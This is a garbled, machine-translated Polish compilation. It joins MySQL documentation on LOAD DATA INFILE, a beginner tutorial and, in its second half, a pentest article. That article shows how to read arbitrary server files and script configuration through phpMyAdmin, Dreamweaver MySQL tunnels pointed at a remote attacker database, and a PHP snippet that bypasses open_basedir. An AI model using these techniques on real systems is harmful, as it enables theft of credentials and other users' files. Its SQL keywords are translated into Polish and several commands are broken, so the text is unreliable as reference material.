mysql> WCZYTAJ PLIK DANYCH "/tmp/test.txt" -> DO TABELI test ZIGNORUJ 1 LINIĘ;
Jeśli użyjesz SELECT... INTO OUTFILE w połączeniu z LOAD DATA INFILE do zapisania danych z bazy danych do pliku, a następnie odczytania ich i załadowania z powrotem do bazy danych, opcje zarządzania wierszami i polami dla obu instrukcji muszą być takie same. W przeciwnym razie LOAD DATA INFILE nie będzie w stanie poprawnie zinterpretować zawartości pliku tekstowego. Załóżmy, że użyłeś polecenia SELECT...INTO OUTFILE do wyprowadzenia danych do pliku tekstowego, oddzielając pola przecinkami:
mysql> WYBIERAĆ* DO PLIKU WYJŚCIOWEGO "data.txt" -> POLA ZAKOŃCZONE PRZEZ"," -> Z tabeli2;
Aby ponownie odczytać plik rozdzielany przecinkami, należy to zrobić w następujący sposób:
mysql> ZAŁADUJ PLIK DANYCH „data.txt1 DO TABELI tabela2 -> POLA ZAKOŃCZONE PRZEZ
Jeśli zamiast tego spróbujesz przeczytać to za pomocą poniższej instrukcji, nie zadziała, ponieważ LOAD DATA INFILE będzie szukać znaków tabulacji pomiędzy wartościami pól:
mysql> ZAŁADUJ PLIK DANYCH „data.txt” DO TABELI tabela2 -> POLA ZAKOŃCZONE PRZEZ „t”;
Najbardziej prawdopodobnym rezultatem będzie interpretacja ciągu wejściowego jako pojedynczego pola.
LOAD DATA INFILE można także wykorzystać do odczytu plików ze źródeł zewnętrznych. Na przykład plik może zawierać pola oddzielone przecinkami i ujęte w podwójny cudzysłów. Jeśli linie w pliku są oddzielone znakiem nowej linii, poniższy przykład ilustruje, jakie opcje ograniczników wierszy i kolumn muszą być ustawione, aby załadować plik:
mysql> ZAŁADUJ PLIK DANYCH „data.txt” DO TABELINazwa tabeli-> POLA ZAKOŃCZONE PRZEZ 1,1 OBJĘTE „” -> LINIE ZAKOŃCZONE PRZEZ"N";
Wszelkie opcje określające ograniczniki wierszy i kolumn mogą przyjmować jako argumenty puste ciągi znaków ("). Jeśli argumenty nie są pustymi ciągami znaków, wówczas wartości pól FIELDS ENCLOSED BY i FIELDS ESCAPED BY MUSZĄ być takie same. Argumenty dla FIELDS TERMINATED OPTIONS BY , LINIE ZACZYNAJĄCE SIĘ OD ORAZ LINIE ZAKOŃCZONE PRZEZ mogą mieć więcej niż jeden znak.Na przykład, aby zapisać linie oddzielone znakiem powrotu karetki/początku wiersza lub odczytać pliki zawierające takie linie, określ LINII ZAKOŃCZONE PRZEZ "rn".
Aby przeczytać plik oddzielony liniami zawierającymi %% znaków, możesz wykonać następujące czynności:
mysql> UTWÓRZ dowcipy TABELI
-> (a INT NOT NULL AUTO_INCREMENT PRIMARY KEY, -> żart TEKST NIE NULL);

mysql> WCZYTAJ PLIK DANYCH "/tmp/jokes,txf DO TABELI żarty -> POLA ZAKOŃCZONE PRZEZ "" -> LINIE ZAKOŃCZONE PRZEZ "\n%%\n" (żart);
FIELDS ENCLOSED BY kontroluje ograniczniki pól (cudzysłów). Jeśli na wyjściu (SELECT... INTO OUTFILE) pominiesz słowo OPCJONALNIE, wszystkie pola zostaną otoczone znakiem określonym w ENCLOSED BY. Przykład takiego wyniku (z użyciem przecinka jako separatora pól) pokazano poniżej:
„1”, „ciąg”, „100,20”
„2”, „ciąg zawierający przecinek”, „102.20”
"3", "ciąg zawierający \" cudzysłów", "102.20"
„4”, „ciąg zawierający ”, cudzysłów i przecinek”, „102.20”
Jeśli określisz OPCJONALNIE, znak ENCLOSED BY będzie używany tylko do cytowania pól CHAR i VARCHAR:
1, „ciąg”, 100.20
3,"ciąg zawierający \"cytat",102.20
4,"ciąg zawierający \", cudzysłów i przecinek",102.20
Należy pamiętać, że wystąpienia znaku określonego w ENCLOSED BY w wartości pola są poprzedzone znakiem określonym w ESCAPED BY. Dodatkowo, jeśli określisz pustą wartość dla ESCAPED BY, może się zdarzyć, że zostanie wygenerowany plik, którego LOAD DATA INFILE nie będzie mógł załadować poprawnie.
Na przykład, jeśli znak anulowania pozostanie pusty, powyższe dane wyjściowe będą wyglądać jak poniżej. Łatwo zauważyć, że drugie pole czwartej linii zawiera przecinek po cudzysłowie, który (błędnie) pojawi się jako separator pól.
1, „ciąg”, 100.20
2,"ciąg zawierający przecinek",102.20
3,"ciąg zawierający "cytat",102.20
4,"ciąg zawierający ", cudzysłów i przecinek",102.20
Podczas wpisywania symbol ZAŁĄCZONY PRZEZ, jeśli jest obecny, jest usuwany z końca wartości pola. (Jest to prawdą niezależnie od tego, czy podano słowo OPCJONALNIE, czy też nie. Słowo to nie ma wpływu na interpretację danych wejściowych.) Wystąpienie znaków ENCLOSED BY poprzedzonych znakiem ESCAPED BY jest interpretowane jako część bieżącej wartości pola.
Jeśli pole zaczyna się od znaku ENCLOSED BY, wystąpienia tego znaku są interpretowane jako kończące wartość pola tylko wtedy, gdy następuje po nich pole lub sekwencja TERMINATED BY. Aby uniknąć dwuznaczności, gdy w wartości pola pojawi się znak ENCLOSED BY, znak ten można powielić i będzie on interpretowany jako pojedyncze wystąpienie znaku. Na przykład, jeśli określono ZAŁĄCZONE PRZEZ „”, cudzysłowy są przetwarzane w następujący sposób:
„„DUŻY” szef” -> „DUŻY” szef „DUŻY” szef -> „DUŻY” szef „DUŻY” szef -> „DUŻY” szef -> „DUŻY” szef
FIELDS ESCAPED BY kontroluje odczyt lub zapis znaków specjalnych. Jeśli argument FIELDS ESCAPED BY nie jest pusty, jest używany jako przedrostek dla następujących znaków na wyjściu:

1. POLA ZMIENIONE PRZEZ symbol.
2. POLA OBJĘTE symbolem.
3. Pierwszy ZNAK sekwencji POLA ZAKOŃCZONE PRZEZ I LINIE ZAKOŃCZONE PRZEZ.
4. ASCII 0 (zapisywany po znaku anulowania jako ASCII „0”, a nie bajt zerowy).

Jeśli znak FIELDS ESCAPED BY jest pusty, żadne znaki nie są poprzedzone znakami ucieczki, a wartość NULL jest wyświetlana jako wartość NULL, a nie \N. Prawdopodobnie nie jest dobrym pomysłem pozostawienie pustego argumentu FIELDS ESCAPED BY, szczególnie jeśli wartości pól danych zawierają którykolwiek z wymienionych znaków.
Przy wprowadzaniu, jeśli FIELDS ESCAPED BY nie jest puste, to w przypadku pojawienia się tego znaku w linii wartości jest on usuwany, a kolejny znak jest odczytywany dosłownie, jako część wartości pola. Wyjątkiem są sekwencje „0” lub „N” (SYS-PAGE-CONTENT lub \N, jeśli znakiem ucieczki jest „\”). Sekwencje te są interpretowane odpowiednio jako ASCII NUL (bajt zerowy) i NULL. Zasady obsługi wartości NULL opisano w dalszej części tej sekcji.
Więcej informacji na temat składni anulowania „\” można znaleźć w sekcji Wartości literału
W niektórych przypadkach opcje sterujące polami i wierszami współdziałają ze sobą:

1. Jeśli dla LINES TERMINATED BY określono pusty ciąg znaków, a POLA TERMINATED BY nie są puste, wówczas LINES TERMINATED BY jest także separatorem linii.
2. JEŻELI OBA POLA ZAKOŃCZONE PRZEZ ORAZ POLA ZAWARTE BY są puste, STOSOWANY jest format stałego ciągu znaków (bez ograniczników). W tym formacie nie stosuje się żadnych separatorów pomiędzy polami (ale może zawierać separator linii). Zamiast tego wartości kolumn są zapisywane i odczytywane przy użyciu szerokości wyświetlania kolumny. Na przykład, jeśli kolumna jest zadeklarowana jako INT(7), wartości kolumny są zapisywane w siedmioznakowym polu. Po wprowadzeniu wartości kolumn są pobierane poprzez odczytanie siedmiu znaków.

LINES TERMINATED BY jest nadal używane do oddzielania linii. Jeżeli wiersz nie zawiera wszystkich pól, pozostałym kolumnom przypisywane są wartości domyślne. Jeśli nie masz terminatora linii, jego wartość musi być ustawiona na 1”. W takim przypadku plik tekstowy musi zawierać wszystkie pola w każdej linii. Format o stałej długości linii radzi sobie również z obsługą wartości NULL, jak opisano poniżej Należy zauważyć, że długość formatu o stałej długości nie działa, jeśli używany jest zestaw znaków wielobajtowych (na przykład Unicode).
Obsługa wartości NULL różni się w zależności od zastosowanych opcji FIELDS i LINES:

1. Przy domyślnych wartościach FIELDS i LINES, NULL jest zapisywane jako wartość pola jako \N dla danych wyjściowych i ta sama wartość \N jest odczytywana jako NULL dla danych wejściowych (zakładając, że znak ESCAPED BY jest ustawiony na „\”)-
2. Jeśli FIELDS ENCLOSED BY nie jest puste, wówczas pole zawierające dosłowne słowo NULL jest odczytywane jako NULL. Różni się to od przypadku, gdy słowo NULL jest oddzielone POLAMI ZAWARTYMI znakami, gdzie wartość jest odczytywana jako ciąg znaków „NULL”.
3. Jeśli FIELDS ESCAPED BY jest puste, NULL jest zapisywane jako słowo NULL.

• W formacie ciągu o stałej długości (co ma miejsce, gdy pola FIELDS TERMINATED BY i FIELDS ENCLOSED BY są puste), NULL jest zapisywane jako pusty ciąg. Należy pamiętać, że powoduje to, że wartości NULL i puste wiersze w tabeli będą nie do odróżnienia po zapisaniu do pliku, ponieważ oba zapisują puste wiersze. Jeśli chcesz je rozróżnić, unikaj formatu o stałej długości linii.
  Poniżej znajdują się przypadki, które nie są obsługiwane przez LOAD DATA INFILE:
  1. Naprawiono wiersze DŁUGOŚCI (POLA ZAKOŃCZONE PRZEZ I POLA ZAWARTE PRZEZ nyctye) w obecności kolumn TEKST lub BLOB.
  2. Jeśli określisz ogranicznik taki sam jak przedrostek innego, polecenie LOAD DATA INFILE może nieprawidłowo zinterpretować strumień wejściowy. Na przykład następująca opcja spowoduje problemy:

  POLA ZAKOŃCZONE PRZEZ „” ZAŁĄCZONE PRZEZ „”
  

  • Jeżeli FIELDS ESCAPED BY jest puste, wartości pól zawierające znaki FIELDS ENCLOSED BY LUB LINES TERMINATED BY po których następują LINES TERMINATED BY CHARACTER spowodują, że LOAD DATA INFILE zbyt wcześnie przestanie czytać plik lub linię. Dzieje się tak, ponieważ LOAD DATA INFILE nie może poprawnie określić, gdzie kończy się wartość pola lub wiersza. Poniższy przykład ładuje wszystkie kolumny tabeli danych osobowych: mysql> ZAŁADUJ PLIK DANYCH „persondata.txt” DO TABELI persondata;
    Domyślnie, jeśli na końcu instrukcji LOAD DATA INFILE nie zostanie podana lista kolumn, oczekuje się, że wiersz wejściowy będzie zawierał pola dla każdej kolumny w tabeli. Jeśli chcesz załadować tylko część kolumn tabeli, określ listę kolumn:
    mysql> Wczytaj plik INFILE „persondata.txt1
    -> DO TABELI danych osobowych(col, col2,...);
    Listę kolumn należy określić także wtedy, gdy kolejność pól w pliku wejściowym różni się od kolejności kolumn w tabeli. W przeciwnym razie MySQL nie będzie w stanie ustalić mapowania pomiędzy polami wejściowymi i kolumnami tabeli.
    Jeżeli plik wejściowy zawiera zbyt mało pól w wierszach, brakującym kolumnom zostaną przypisane wartości domyślne. Przypisywanie wartości domyślnych opisano w składni CREATE TABLE
    Wartości pustych pól są interpretowane inaczej niż brakujące pola:
    1. W przypadku typów łańcuchowych do kolumny przypisywany jest pusty ciąg.
    2. W przypadku typów numerycznych kolumnie przypisuje się wartość 0.
    3. Dla typów daty i godziny - kolumna jest ustawiona na odpowiedni typ
       wartość „zerowa”. Zobacz Typy dat i godzin

    Są to te same wartości, które wynikają z jawnego przypisania pustego ciągu do kolumn tego typu w instrukcji INSERT lub UPDATE.
    Wartości kolumn typu TIMESTAMP są ustawiane na bieżącą datę i godzinę tylko wtedy, gdy są ustawione na NULL (czyli \N) lub jeśli kolumna tego typu jest pominięta na liście pól, jeśli podana jest lista pól.

    LOAD DATA INFILE traktuje wszystkie dane wejściowe jako wejściowe ciągi znaków, dlatego nie można używać wartości numerycznych dla kolumn ENUM lub SET, jak jest to dozwolone w instrukcjach INSERT. Wszystkie wartości ENUM lub SET muszą być podane jako ciągi znaków!
    Po zakończeniu instrukcja LOAD DATA INFILE zwraca ciąg informacyjny w następującym formacie:
    Rekordy: Usunięto: 0 Pominięte: 0 Ostrzeżenia: Informacje
    Jeśli pracujesz z interfejsem API języka C, możesz uzyskać informacje na temat tej instrukcji, wywołując funkcję mysql_info().
    Ostrzeżenia pojawiające się pod pewnymi warunkami są takie same, jak te, które pojawiają się podczas wstawiania wartości za pomocą instrukcji INSERT (patrz rozdział 6.1.4), z tą różnicą, że LOAD DATA INFILE generuje również ostrzeżenia o zbyt małej lub zbyt dużej liczbie pól. Ostrzeżenia nie są nigdzie przechowywane, liczba ostrzeżeń może służyć jedynie jako znak, że wszystko poszło dobrze.
    Od wersji MySQL 4.1.1 można użyć opcji POKAŻ OSTRZEŻENIA, aby wyświetlić pierwsze ostrzeżenia max_error_count jako informację o CoŁadowanie poszło nie tak. Zobacz składnię POKAŻ OSTRZEŻENIA
    Przed wersją MySQL 4.1.1 tylko liczba ostrzeżeń wskazywała, że ​​ładowanie nie przebiega płynnie. Jeśli otrzymasz ostrzeżenie i chcesz wiedzieć dokładnie, dlaczego się pojawiło, jedynym sposobem, aby to zrobić, jest użycie SELECT...INTO OUTFILE w celu zrzucenia tabeli do innego pliku i porównania jej z oryginalnym plikiem wejściowym.

Po utworzeniu tabeli należy wypełnić ją danymi. Instrukcje i WSTAWIĆ przydatne do tego. O tym, jak działają, porozmawiamy nieco później, ale na razie pomyślmy o danych, które należy wprowadzić do tabeli. Jak dokładnie wyglądają?

Załóżmy, że Twoją dokumentację dotyczącą dzikiej przyrody można opisać jak poniżej. Pamiętaj, że MySQL oczekuje dat w formacie rok-miesiąc-dzień. Może się to różnić od tego, do czego jesteś przyzwyczajony. Lepiej jest wprowadzić rok w postaci 4 cyfr. MySQL ma dość złożony algorytm, który poprawnie obsługuje dwucyfrowe wartości roku, ale na razie nie musisz tego rozgryźć, więc wprowadźmy dane jednoznacznie. Wszystkie dane dotyczące zwierząt w naszym przykładzie przedstawiono w Tabeli 2.2:

Tabela 2.2. Dane zwierząt

Ponieważ zaczynasz od pustej tabeli, najłatwiejszym sposobem jej wypełnienia jest utworzenie pliku tekstowego zawierającego linię dla każdego zwierzęcia, a następnie załadowanie zawartości pliku do tabeli za pomocą tylko jednej instrukcji.

Można utworzyć plik tekstowy pet.txt zawierający po jednym wpisie w wierszu, z wartościami oddzielonymi tabulatorami określonymi w kolejności, w jakiej kolumny były wymienione w instrukcji CREATE TABLE. W przypadku brakujących wartości (takich jak nieznana płeć lub daty śmierci nadal żyjących zwierząt) można zastosować wartości NULL. Aby przedstawić je w pliku tekstowym, użyj etykiety. Na przykład wpis o ptaku Whistler wygląda mniej więcej tak (używam spacji, aby wskazać tabulator):

Świstler Gwen ptak 1997-12-09

Aby załadować dane z pliku tekstowego pet.txt znajdującego się pod adresem komputer lokalny(klient), a nie na serwerze, do tabeli pomocniczej użyj polecenia LOAD DATA:

Mysql> ZAŁADUJ LOKALNY PLIK DANYCH „pet.txt” DO TABELI pet;

Słowa kluczowe mają następujące znaczenie. W PLIKU definiuje ciąg znaków będący nazwą pliku, z którego mają zostać odczytane dane. Ponieważ nazwa jest ciągiem znaków, jest ona ujęta w cudzysłów, w przeciwnym razie MySQL spróbuje ocenić ją jako wyrażenie numeryczne. LOKALNY wskazuje, że plik powinien być przeszukiwany w systemie klienta, a nie na serwerze. DO STOŁU nakazuje załadowanie danych do tabeli, której nazwa jest podana bezpośrednio po słowie TABLE (oddzielona spacją).

Jeśli chcesz, możesz jawnie określić separator wartości kolumny i znacznik końca wiersza w instrukcji, ale wartościami domyślnymi są tabulator i znak nowego wiersza. Wystarczą one do prawidłowego odczytania pliku pet.txt i na razie nie potrzebujesz więcej.

Instrukcja jest przydatna, gdy chcesz dodawać nowe wpisy jeden po drugim WSTAWIĆ. W najprostszej formie wartości dla każdej kolumny podajesz w kolejności, w jakiej kolumny zostały wymienione w instrukcji CREATE TABLE. Załóżmy, że Diane dostała nowego chomika, Puffballa. Możesz dodać nowy wpis za pomocą instrukcji INSERT, na przykład tak:

Mysql> WSTAW DO zwierzaka
-> WARTOŚCI („Puffball”, „Diane”, „chomik”, „f”, „30.03.1999”, „NULL”);

Słowa kluczowe tutaj również nie są szczególnie skomplikowane. INTO pet określa, do którego stołu trafi wkładka. WARTOŚCI określa listę wstawianych wartości dla nowe wejście na stole. Wartości są wymienione oddzielone przecinkami i wszystkie razem w nawiasach.

Należy pamiętać, że ciągi i wartość daty są zdefiniowane jako ciągi. Możesz wstawić NULL bezpośrednio (nie jako ciąg znaków), aby reprezentować brak wartości.

Z tego przykładu widać, że załadowanie bezpośrednio do tabeli wymagałoby sporo pisania. Instrukcje pozwoliły zaoszczędzić dużo czasu.

Opiszę dość częstą sytuację. Podczas pentestu uzyskano dostęp do phpMyAdmin na zdalnym hoście, ale nie było możliwości uzyskania za jego pośrednictwem dostępu do plików. Winna jest słynna flaga FILE_PRIV=no w ustawieniach demona MySQL. Wiele osób w tej sytuacji poddaje się i uważa, że ​​plików na hoście nie da się już w ten sposób odczytać. Ale nie zawsze tak jest.

OSTRZEŻENIE

Wszystkie informacje podane są wyłącznie w celach informacyjnych. Ani redakcja, ani autor nie ponoszą odpowiedzialności za ewentualne szkody wyrządzone przez materiały zawarte w tym artykule.

Preludium

Jeśli chodzi o interakcję DBMS MySQL z systemem plików, zwykle pamiętają:

• funkcja LOAD_FILE, która pozwala na odczyt plików znajdujących się na serwerze;
• konstrukcja SELECT ... INTO OUTFILE, której można używać do tworzenia nowych plików.

W związku z tym, jeśli masz dostęp do phpMyAdmin lub innego klienta na zdalnym komputerze, z dużym prawdopodobieństwem możesz uzyskać dostęp do systemu plików poprzez MySQL. Ale tylko jeśli w ustawieniach demona ustawiona jest flaga FILE_PRIV=yes, co nie zawsze ma miejsce. W tym przypadku musimy pamiętać o innym operatorze, znacznie mniej znanym, ale jednocześnie posiadającym dość potężną funkcjonalność. Mówię o operatorze LOAD DATA INFILE, którego funkcje zostaną omówione w tym artykule.

Interakcja pomiędzy PHP i MySQL

PHP jest najpopularniejszym językiem do tworzenia aplikacji internetowych, dlatego warto przyjrzeć się bliżej jego interakcji z bazą danych.

W PHP4 biblioteki klienta MySQL były domyślnie dołączone i zawarte w dystrybucji PHP, dlatego podczas instalacji można było zrezygnować z używania MySQL jedynie poprzez określenie opcji

Bez mysql.

PHP5 nie zawiera biblioteki klienta. W systemach *nix PHP5 jest zwykle kompilowane z biblioteką libmysqlclient już zainstalowaną na serwerze, po prostu ustawiając opcję

With-mysql=/usr

podczas montażu. Jednakże aż do wersji 5.3 do interakcji z serwerem MySQL używana jest niskopoziomowa biblioteka klienta MySQL (libmysql), która nie jest zoptymalizowana pod kątem komunikacji z aplikacjami PHP.

Dla wersji PHP 5.3 i wyższych opracowano sterownik MySQL Native Driver (mysqlnd), a w niedawno wydanej wersji PHP 5.4 sterownik ten jest używany domyślnie. Chociaż wbudowany sterownik MySQL jest napisany jako rozszerzenie PHP, ważne jest, aby zrozumieć, że nie zapewnia on programiście PHP nowego API. API bazy danych MySQL dla programisty zapewniają rozszerzenia MySQL, mysqli i PDO_MYSQL. Rozszerzenia te mogą wykorzystywać wbudowany sterownik MySQL do komunikacji z demonem MySQL.

Korzystanie z wbudowanego sterownika MySQL ma pewne zalety w porównaniu z biblioteką klienta MySQL: na przykład nie trzeba instalować MySQL, aby budować PHP lub używać skryptów baz danych. Więcej informacji na temat sterownika MySQL Native Driver i jego różnic od libmysql można znaleźć w dokumentacji.

Rozszerzenia MySQL, mysqli i PDO_MYSQL można indywidualnie skonfigurować tak, aby korzystały z bibliotek libmysql lub mysqlnd. Na przykład, aby skonfigurować rozszerzenie MySQL do korzystania z biblioteki klienta MySQL, a rozszerzenie mysqli do współpracy z natywnym sterownikiem MySQL, należy określić następujące opcje:

`./configure --with-mysql=/usr/bin/mysql_config --with-mysqli=mysqlnd`

ZAŁADUJ DANE Składnia

Instrukcja LOAD DATA, jak mówi dokumentacja, odczytuje wiersze z pliku i ładuje je do tabeli z bardzo dużą szybkością. Można go używać z słowo kluczowe LOCAL (dostępny w MySQL 3.22.6 i nowszych wersjach), który określa, skąd będą ładowane dane. Jeśli brakuje słowa LOCAL, serwer ładuje określony plik do tabeli ze swojego komputera lokalnego, a nie z komputera klienta. Oznacza to, że plik nie zostanie odczytany przez klienta MySQL, ale przez serwer MySQL. Ale ta operacja ponownie wymaga uprawnienia PLIK (flaga FILE_PRIV=tak). Wykonanie instrukcji w tym przypadku można porównać do użycia funkcji LOAD_FILE - z tą tylko różnicą, że dane są ładowane do tabeli, a nie wyprowadzane. Dlatego użycie LOAD DATA INFILE do odczytu plików ma sens tylko wtedy, gdy funkcja LOAD_FILE nie jest dostępna, czyli na bardzo starych wersjach serwera MySQL.

Jeżeli jednak zostanie zastosowany operator w postaci: LOAD DATA LOCAL INFILE, czyli z użyciem słowa LOCAL, wówczas plik zostanie odczytany przez program klienta (na komputerze klienta) i przesłany do serwera, na którym znajduje się baza danych. W tym przypadku uprawnienie PLIK nie jest oczywiście potrzebne, aby uzyskać dostęp do plików (ponieważ wszystko dzieje się na komputerze klienta).

Rozszerzenia MySQL/mysqli/PDO_MySQL i instrukcja LOAD DATA LOCAL

W rozszerzeniu MySQL możliwość korzystania z LOCAL jest kontrolowana przez dyrektywę PHP_INI_SYSTEM mysql.allow_local_infile. Domyślnie ta dyrektywa ma wartość 1, dlatego potrzebny nam operator jest zwykle dostępny. Ponadto funkcja mysql_connect umożliwia włączenie możliwości użycia LOAD DATA LOCAL, jeśli piąty argument zawiera stałą 128.

Gdy do łączenia się z bazą danych wykorzystywane jest rozszerzenie PDO_MySQL, możemy także włączyć obsługę LOKALNĄ za pomocą stałej PDO::MYSQL_ATTR_LOCAL_INFILE (liczba całkowita)

$pdo = nowe PDO("mysql:host=localhost;nazwa_bazy danych=mydb", "użytkownik", "pass", tablica(PDO::MYSQL_ATTR_LOCAL_INFILE => 1));

Jednak największe możliwości pracy z operatorem LOAD DATA daje rozszerzenie mysqli. To rozszerzenie udostępnia również dyrektywę PHP_INI_SYSTEM mysqli.allow_local_infile, która reguluje użycie LOCAL.

Jeśli połączenie jest nawiązywane poprzez mysqli_real_connect, to używając mysqli_options możemy zarówno włączyć, jak i wyłączyć obsługę LOKALNĄ. Ponadto w tym rozszerzeniu dostępna jest funkcja mysqli_set_local_infile_handler, która umożliwia zarejestrowanie funkcji wywołania zwrotnego do obsługi zawartości plików odczytywanych za pomocą instrukcji LOAD DATA LOCAL INFILE.

Czytanie plików

Uważny czytelnik zapewne już się domyślił, że jeśli posiadamy konto w phpMyAdmin, to możemy czytać dowolne pliki bez posiadania przywileju FILE, a nawet ominąć ograniczenia open_basedir. Przecież bardzo często zarówno klient (w tym przypadku phpMyAdmin), jak i demon MySQL znajdują się na tej samej maszynie. Pomimo ograniczeń polityki bezpieczeństwa serwera MySQL, możemy skorzystać z faktu, że polityka ta nie dotyczy klienta i nadal czytać pliki z systemu wpychając je do bazy danych.

Algorytm jest prosty. Wystarczy wykonać następujące zapytania SQL:

1. Tworzymy tabelę, w której zapiszemy zawartość plików: CREATE TABLE temp(treść tekstu);
2. Wysyłamy zawartość pliku do utworzonej tabeli: WCZYTAJ DANYCH LOKALNY PLIK „/etc/hosts” DO TABELI temp POLA ZAKOŃCZONE PRZEZ „eof” WYŁĄCZONE PRZEZ „” LINIE ZAKOŃCZONE PRZEZ „eof”;

Voila. Zawartość pliku /etc/hosts znajduje się teraz w tabeli tymczasowej. Chcesz czytać pliki binarne? Bez problemu. Jeżeli w pierwszym kroku utworzymy tabelę taką jak ta:

UTWÓRZ TABELĘ „bin” („bin” BLOB NIE NULL) ENGINE = MYISAM ;

wtedy będzie można załadować do niego pliki binarne. To prawda, dodatkowe bity zostaną dodane na końcu plików, ale można je usunąć w dowolnym edytorze szesnastkowym. W ten sposób możesz pobrać z serwera skrypty chronione przez IonCube/Zend/TrueCrypt/NuSphere i je zdekodować.

Innym przykładem użycia LOAD DATA LOCAL INFILE jest znalezienie ścieżki do konfiguracji Apache. Odbywa się to w następujący sposób:

1. Najpierw znajdujemy ścieżkę do pliku binarnego, w tym celu czytamy /proc/self/cmdline metodą opisaną powyżej.
2. A następnie czytamy bezpośrednio plik binarny, gdzie szukamy HTTPD_ROOT/SERVER_CONFIG_FILE.

Oczywiste jest, że w tej sytuacji skrypty phpMyAdmin pełnią rolę klienta łączącego się z bazą danych. Zamiast phpMyAdmin możesz użyć dowolnego innego interfejsu internetowego do pracy z MySQL.

Można na przykład użyć skryptów do tworzenia kopii zapasowych i przywracania bazy danych. Już w 2007 roku francuski haker występujący pod pseudonimem acidroot opublikował exploita opartego na tej uwadze i umożliwiającego odczyt plików z panelu administracyjnego phpBB<= 2.0.22.

Tunel jest wygodny. Tunel jest niebezpieczny

Podczas instalacji złożonych aplikacji internetowych często wymagany jest bezpośredni dostęp do bazy danych, na przykład w celu wstępnej konfiguracji i dostosowania skryptów. Dlatego w niektórych przypadkach wskazane jest zainstalowanie na serwerze prostego skryptu - tzw. Tunelu MySQL, który pozwala na wykonywanie zapytań do bazy danych za pomocą wygodnego klienta zamiast skomplikowanego phpMyAdmina.

Istnieje wiele tuneli do pracy z bazą danych, ale nie wszystkie są zbyt powszechne. Być może jednym z najbardziej znanych są skrypty serwerowe Macromedia Dream Weaver. Możesz zobaczyć kod źródłowy tego skryptu.

Główną różnicą pomiędzy MySQL Tunnel a phpMyAdmin jest konieczność podania nie tylko loginu i hasła do bazy danych, ale także hosta, z którym się łączymy. Jednocześnie tunele często pozostają aktywne, na wszelki wypadek, nigdy nie wiadomo, co jeszcze należy dostosować. Wygląda na to, że możesz z nich skorzystać tylko jeśli masz konto w bazie - więc po co się bać? Krótko mówiąc, wydaje się, że tunel nie stwarza szczególnego zagrożenia bezpieczeństwa dla serwera internetowego. Ale w rzeczywistości nie wszystko jest tak dobre, jak się wydaje na pierwszy rzut oka.

Rozważmy następującą sytuację. Niech serwer A ma witrynę site.com z utworzonym tunelem http://site.com/_mmServerScripts/MMHTTPDB.php. Załóżmy, że na serwerze A możliwe jest użycie LOAD DATA LOCAL (jak omówiono powyżej, jest to możliwe np. przy ustawieniach domyślnych). W tym przypadku możemy wziąć zdalny serwer MySQL, do którego baz danych można uzyskać dostęp z dowolnego miejsca i który pozwala również na korzystanie z LOKALNEGO, i połączyć się z tym serwerem za pomocą tunelu. Dane do połączenia ze zdalnym serwerem MySQL:

Host DB: xx.xx.xx.xxx Nazwa DB: name_remote_db Użytkownik DB: nasz_użytkownik DB Pass: our_pass

W tej sytuacji serwer A będzie pełnił rolę klienta, dzięki czemu będziemy mogli przesyłać pliki od jego hosta do zdalnej bazy danych, czyli innymi słowy odczytywać pliki. Za pomocą następującego prostego zapytania:

Type = mysql & timeout = 100 & host = xx.xx.xx.xxx & batabase = name_remote_db & użytkownik = Our_user & Password = Our_Pass & opcode = executeSQL & sql = ładuj dane lokalne infils /path/to/script/script.ptions.php ”do tabeli tmp_tbl fields termin przez„ __eOf ”. " LINIE ZAKOŃCZONE PRZEZ "__eof__"

W rzeczywistości luka ta jest bardziej niebezpieczna niż zwykłe czytanie plików: w końcu umożliwia odczyt plików konfiguracyjnych skryptów zainstalowanych na serwerze A. Przez ten sam tunel można już uzyskać bezpośredni dostęp do bazy danych zarządzającej tymi skryptami. Opisaną powyżej technikę wykorzystywania tuneli mięśniowych można nieco uogólnić i zastosować przy wykorzystywaniu luk w zabezpieczeniach związanych z unserializacją.

Klient-serwer

Aby lepiej zrozumieć możliwości LOAD DATA należy pamiętać, że DBMS MySQL wykorzystuje tradycyjną architekturę klient-serwer. Pracując z MySQL, tak naprawdę pracujemy z dwoma programami:

• Program serwera bazy danych znajdujący się na komputerze, na którym przechowywana jest baza danych. Demon mysqld nasłuchuje żądań klientów w sieci i uzyskuje dostęp do zawartości bazy danych, dostarczając informacje żądane przez klientów. Jeśli mysqld zostanie uruchomiony z opcją --local-infile=0, wówczas LOCAL nie będzie działać;
• Program kliencki łączy się z serwerem i przesyła żądania do serwera. Dystrybucja MySQL DBMS zawiera kilka programów klienckich: klienta konsolowego MySQL (najczęściej używany), a także mysqldump, mysqladmin, mysqlshow, mysqlimport i tak dalej. A jeśli to konieczne, możesz nawet stworzyć własny program kliencki w oparciu o standardową bibliotekę klienta libmysql, która jest dostarczana z DBMS MySQL.

Jeśli w przypadku korzystania ze standardowego klienta MySQL nie można użyć instrukcji LOAD DATA LOCAL, należy zastosować przełącznik --local-infile:

Mysql --local-infile sampdb mysql> ZAŁADUJ DANYCH LOKALNY PLIK INFILE "member.txt" DO TABELI członek;

Lub określ opcję dla klienta w pliku /my.cnf:

Plik-lokalny=1

Należy zauważyć, że domyślnie wszyscy klienci i biblioteki MySQL są kompilowane z opcją --enable-local-infile, aby zapewnić kompatybilność z MySQL 3.23.48 i starszymi wersjami, więc LOAD DATA LOCAL jest zwykle dostępna dla standardowych klientów. Polecenia do serwera MySQL wysyłane są jednak głównie nie z konsoli, a ze skryptów, dlatego języki tworzenia stron internetowych posiadają również klientów do pracy z bazą danych, którzy mogą różnić się funkcjonalnością od standardowego klienta MySQL.

Oczywiście ta funkcja instrukcji LOAD DATA może stanowić zagrożenie dla bezpieczeństwa systemu, dlatego też, począwszy od MySQL 3.23.49 i MySQL 4.0.2 (4.0.13 dla Win), opcja LOCAL będzie działać tylko wtedy, gdy zarówno klient i serwer to umożliwiają.

Omiń ograniczenia open_basedir

Używanie LOAD DATA dość często pozwala ominąć ograniczenia open_basedir. Może się to przydać jeśli np. mamy dostęp do katalogu jednego użytkownika na hostingu współdzielonym, ale chcemy czytać skrypty z katalogu domowego innego użytkownika. Następnie zainstaluj ten skrypt

1)); $e=$pdo->exec("ZAŁADUJ LOKALNY PLIK DANYCH "./ścieżka/do/pliku" DO PÓL testowych TABELI ZAKOŃCZONYCH PRZEZ "__eof__" UCIECZKOWANYCH PRZEZ "" LINIE ZAKOŃCZONE PRZEZ "__eof__""); $pdo = null; ?>

Wniosek

